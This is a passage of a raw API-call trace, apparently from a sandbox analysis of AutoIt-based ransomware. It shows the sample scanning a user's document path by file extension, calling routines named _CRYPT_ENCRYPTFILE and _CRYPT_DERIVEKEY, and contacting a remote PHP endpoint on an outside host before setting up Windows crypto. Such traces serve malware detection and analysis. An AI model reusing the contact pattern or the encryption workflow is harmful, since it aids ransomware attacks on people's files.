(Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.432] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ocuments\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.433] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cuments\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uments\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ments\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nts\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ts\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.434] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mlP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lP\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="P\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LEyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="EyTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yTaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TaIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aIf\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="If\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="f\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="3jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jqCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="qCOPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.435] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="COPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OPYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PYzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="YzI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zI.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="I.rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0073.436] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rtf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0073.436] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0073.436] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0073.436] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0073.437] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0073.437] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0073.437] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0073.437] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0073.437] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0073.437] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d48, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620d48, lpdwBufferLength=0x130ee1c) returned 1 [0073.437] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0073.437] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0073.438] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0073.439] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0073.439] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0073.439] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0073.439] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292f0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16292f0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0073.439] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629320, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629320*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0073.440] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0073.440] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0073.440] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0073.440] CloseHandle (hObject=0x0) returned 0 [0073.440] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.440] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\1Y_L8Q1mlP\\LEyTaIf\\3jqCOPYzI.rtf", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164d070 [0073.456] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0073.456] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.456] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.456] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.456] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.456] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0073.456] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.456] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0073.457] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.457] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.457] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0073.457] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.457] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.457] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.457] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.457] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.457] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0073.457] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0073.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e030, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0073.457] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0073.457] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0073.458] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164e050, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0073.458] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0073.458] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17aa6f8) returned 1 [0073.458] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.459] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.459] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0073.459] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.459] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.459] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.459] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.459] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.459] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.459] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.459] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0073.459] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0073.459] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.459] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.459] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0073.459] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0073.459] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.459] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.460] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0073.460] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.460] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0073.460] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0073.460] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.460] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.460] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0073.460] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.460] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0073.460] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0073.460] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.460] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.460] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0073.460] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.460] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0073.460] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0073.460] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0073.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0073.461] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621438, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0073.461] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0073.461] CryptCreateHash (in: hProv=0x17aa6f8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0073.461] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.461] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.461] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0073.461] PeekMessageW (in: lpMsg=0x130ec34, 